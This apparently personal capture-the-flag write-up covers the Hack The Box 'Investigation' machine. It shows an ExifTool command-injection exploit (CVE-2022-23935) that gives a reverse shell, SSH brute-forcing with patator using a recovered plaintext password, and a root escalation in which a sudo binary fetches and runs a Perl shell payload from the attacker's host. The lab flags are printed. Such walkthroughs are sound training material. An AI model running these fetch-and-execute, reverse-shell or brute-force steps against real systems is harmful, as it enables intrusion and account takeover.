Investigation

MediumMachineMar 13, 2026
10.10.11.197
#nmap#msgconvert#chisel#proxychains#patator#ghidra#CVE-2022-23935

Interesting Things

Exfitool exploit

Noticing the image upload returns an exfitool scan went right for an exploit and found this for exfitool < v12.24 https://blog.convisoappsec.com/en/a-case-study-on-cve-2021-22204-exiftool-rce/


System Files

/etc/passwd

root:x:0:0:root:/root:/bin/bash  
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin  
bin:x:2:2:bin:/bin:/usr/sbin/nologin  
sys:x:3:3:sys:/dev:/usr/sbin/nologin  
sync:x:4:65534:sync:/bin:/bin/sync  
games:x:5:60:games:/usr/games:/usr/sbin/nologin  
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin  
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin  
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin  
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin  
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin  
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin  
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin  
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin  
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin  
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin  
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin  
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin  
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin  
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin  
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin  
syslog:x:104:110::/home/syslog:/usr/sbin/nologin  
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin  
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false  
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin  
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin  
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin  
pollinate:x:110:1::/var/cache/pollinate:/bin/false  
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin  
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin  
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin  
smorton:x:1000:1000:eForenzics:/home/smorton:/bin/bash  
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false  
backup:x:34:34::/var/backups:/usr/sbin/nologin  
fwupd-refresh:x:113:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin  
_laurel:x:997:997::/var/log/laurel:/bin/false

nmap


msgconvert

Windows Event log for Analysis.msg

Date: Tue, 16 Sept 2022 00:30:29 +0000                                                                                                                                                                               
MIME-Version: 1.0                                                                                                                                                                                                    
Content-Type: multipart/mixed; boundary=16778160761.9Eca.513719                                                                                                                                                      
Content-Transfer-Encoding: 7bit                                                                                                                                                                                      
Subject: Windows Event Logs for Analysis                                                                                                                                                                             
From: Thomas Jones <thomas.jones@eforenzics.htb>                                                                                                                                                                     
To: Steve Morton <steve.morton@eforenzics.htb>                                                                                                                                                                       
Thread-Topic: Windows Event Logs for Analysis                                                                                                                                                                        
Accept-Language: en-US                                                                                                                                                                                               
Content-Language: en-US                                                                                                                                                                                              
                                                                                                                                                                                                                    
                                                                                                                                                                                                                    
--16778160761.9Eca.513719                                                                                                                                                                                            
MIME-Version: 1.0                                                                                                                                                                                                    
Content-Type: multipart/alternative; boundary=16778160760.ECD5c.513719                                                                                                                                               
Content-Transfer-Encoding: 7bit                                                                                                                                                                                      
                                                                                                                                                                                                                    
                                                                                                                                                                                                                    
--16778160760.ECD5c.513719                                                                                                                                                                                           
Content-Type: text/plain; charset=ISO-8859-1                                                                                                                                                                         
Content-Disposition: inline                                                                                                                                                                                          
Content-Transfer-Encoding: 8bit                                                                                                                                                                                      
                                                                                                                                                                                                                    
Hi Steve,                                                                                                                                                                                                            
                                                                                                                                                                                                                    
Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm concerned that they are moving data on to production without following our data transfer procedures.     
                                                                                                                                                                                                                    
Regards.                                                                                                                                                                                                             
Tom

Underneath this in the msg is the attachment for a zip file


CVE-2022-23935

Searched for exiftool v12.37

./CVE-2022-23935.py 10.10.14.58 9001  
[+] Connected!!!!  
  
  _____ __      __ ______      ___    ___  ___   ___        ___   ____    ___  ____   _____    
 / ____|\ \    / /|  ____|    |__ \  / _ \|__ \ |__ \      |__ \ |___ \  / _ \|___ \ | ____|  
| |      \ \  / / | |__  ______  ) || | | |  ) |   ) |______  ) |  __) || (_) | __) || |__     
| |       \ \/ /  |  __||______|/ / | | | | / /   / /|______|/ /  |__ <  \__, ||__ < |___ \    
| |____    \  /   | |____      / /_ | |_| |/ /_  / /_       / /_  ___) |   / / ___) | ___) |  
 \_____|    \/    |______|    |____| \___/|____||____|     |____||____/   /_/ |____/ |____/            
  
                                           by 0xFTW                                                                                   
          
[+] Trying to bind to :: on port 9001: Done  
[+] Waiting for connections on :::9001: Got connection from ::ffff:10.10.11.197 on port 57474  
[*] Switching to interactive mode  
bash: cannot set terminal process group (957): Inappropriate ioctl for device  
bash: no job control in this shell  
www-data@investigation:~/uploads/1677813942$ $ whoami  
whoami  
www-data

chisel proxychains

Pivoting to 127.0.1.1

https://ap3x.github.io/posts/pivoting-with-chisel/ So we connect to the machine through it's IP 10.10.11.197, which will read in as 127.0.0.1 on the machine. Looking in /etc/hosts we see addtional entries for 127.0.1.1

Pasted image 20230302230948.png Now we're connected through a sock5 proxy

Pasted image 20230302231025.png

We're able to run commands against that machines network

However there was nothing at 127.0.1.1 and this was a giant waste of time ("Great learning opportunity though")

patator

patator ssh_login port=22 host=10.10.11.197 user=FILE0 0=users password=FILE1 1=passwords  
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated  
 "class": algorithms.Blowfish,  
23:47:22 patator    INFO - Starting Patator 0.9 (https://github.com/lanjelot/patator) with python-3.9.2 at 2023-03-02 23:47 CST  
23:47:22 patator    INFO -                                                                                 
23:47:22 patator    INFO - code  size    time | candidate                          |   num | mesg  
23:47:22 patator    INFO - -----------------------------------------------------------------------------  
23:47:23 patator    INFO - 0     39     0.172 | smorton:Def@ultf0r3nz!csPa$       |     1 | SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5  
23:47:25 patator    INFO - 1     22     2.141 | Olivia Rae:Def@ultf0r3nz!csPa$    |    11 | Authentication failed.  
23:47:25 patator    INFO - 1     22     2.514 | tjones:Def@ultf0r3nz!csPa$        |     2 | Authentication failed.  
23:47:25 patator    INFO - 1     22     2.515 | ethanjames:Def@ultf0r3nz!csPa$    |     4 | Authentication failed.  
23:47:25 patator    INFO - 1     22     2.502 | charlottelouise:Def@ultf0r3nz!csPa$ |     8 | Authentication failed.  
23:47:26 patator    INFO - 1     22     3.134 | Ethan James:Def@ultf0r3nz!csPa$   |     3 | Authentication failed.  
23:47:26 patator    INFO - 1     22     3.108 | ethan:Def@ultf0r3nz!csPa$         |     6 | Authentication failed.  
23:47:26 patator    INFO - 1     22     3.342 | ethan.james:Def@ultf0r3nz!csPa$   |     5 | Authentication failed.  
23:47:26 patator    INFO - 1     22     3.344 | charlotte.louise:Def@ultf0r3nz!csPa$ |     9 | Authentication failed.  
23:47:26 patator    INFO - 1     22     3.436 | charlotte:Def@ultf0r3nz!csPa$     |    10 | Authentication failed.  
23:47:27 patator    INFO - 1     22     3.771 | Charlotte Louise:Def@ultf0r3nz!csPa$ |     7 | Authentication failed.  
23:47:28 patator    INFO - 1     22     3.029 | olivarae:Def@ultf0r3nz!csPa$      |    12 | Authentication failed.  
23:47:28 patator    INFO - 1     22     2.195 | :Def@ultf0r3nz!csPa$              |    15 | Authentication failed.  
23:47:29 patator    INFO - 1     22     2.835 | oliva.rae:Def@ultf0r3nz!csPa$     |    13 | Authentication failed.  
23:47:29 patator    INFO - 1     22     3.523 | oliva:Def@ultf0r3nz!csPa$         |    14 | Authentication failed.  
23:47:30 patator    INFO - Hits/Done/Skip/Fail/Size: 15/15/0/0/15, Avg: 2 r/s, Time: 0h 0m 7s

We have SSH login for smorton!


ghidra

main function

Pasted image 20230303004713.png

Explanation of exploit

It looks like the function is set to give the Exiting... message in three instances

  1. if it isn't provided with 3 parameters remember that in linux the call to the process is the first parameter
  2. if it isn't run by sudo which is why the sudo -l showing access is necessary to exploit this binary
  3. if the 3rd parameter isn't this specific string lDnxUysaQn

Looking further we see that the second parameter needs to be a web call due to the _stream __stream = fopen(*(char **)(param_2 + 0x10),"wb");

and that parameter ends up getting passed into a printf that calls perl %s


Foothold

RCE as www-data


/usr/local/investigation/.msg

Found SMTP information for two users SMTP:THOMAS.JONES@EFORENZICS.HTB SMTP:STEVE.MORTON@EFORENZICS.HTB

As well as a .msg with this hard to decipher bs Pasted image 20230302214915.png

However I found a stackoverflow post with examples in python of how to extract the attachments https://stackoverflow.com/questions/55596218/how-to-use-python-to-read-and-extract-data-from-msg-files-on-linux

Inside it was evtx-logs.zip and compressed inside was security.evtx

Found this https://www.alishaaneja.com/evtx/ to examine the evtx While in the guide pulling the github repo I actually had the opportunity to contribute to the project https://github.com/williballenthin/python-evtx/pull/83

Obtaining User Flag

After getting the evtx into a text file I sorted it by uniq lines and grep'd for users and passwords. Pasted image 20230302234344.png And we find a password Def@ultf0r3nz!csPa$

Let's see if it goes to any of the users we've spotted

Pasted image 20230302235132.png

Root Escalation

Spoting the vulnerability

Right away We notice we have sudo access on a /usr/bin/binary file

sudo -l  
Matching Defaults entries for smorton on investigation:  
   env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
  
User smorton may run the following commands on investigation:  
   (root) NOPASSWD: /usr/bin/binary

Obtaining Root Flag

A quick and dirty perl exploit calling a bash shell is all we need root-escalation.pl

-e exec "/bin/sh"
sudo /usr/bin/binary http://10.10.14.46:9000/root-escalation.pl lDnxUysaQn  
Running...    
# whoami  
root  
# cat /root/root.txt  
308d76b132a51118c5e64dd4848a2391

Flags

User Flag

d42c068a48e318e84cc03225dd0aca97
Click to reveal user flag

Root Flag

308d76b132a51118c5e64dd4848a2391
Click to reveal root flag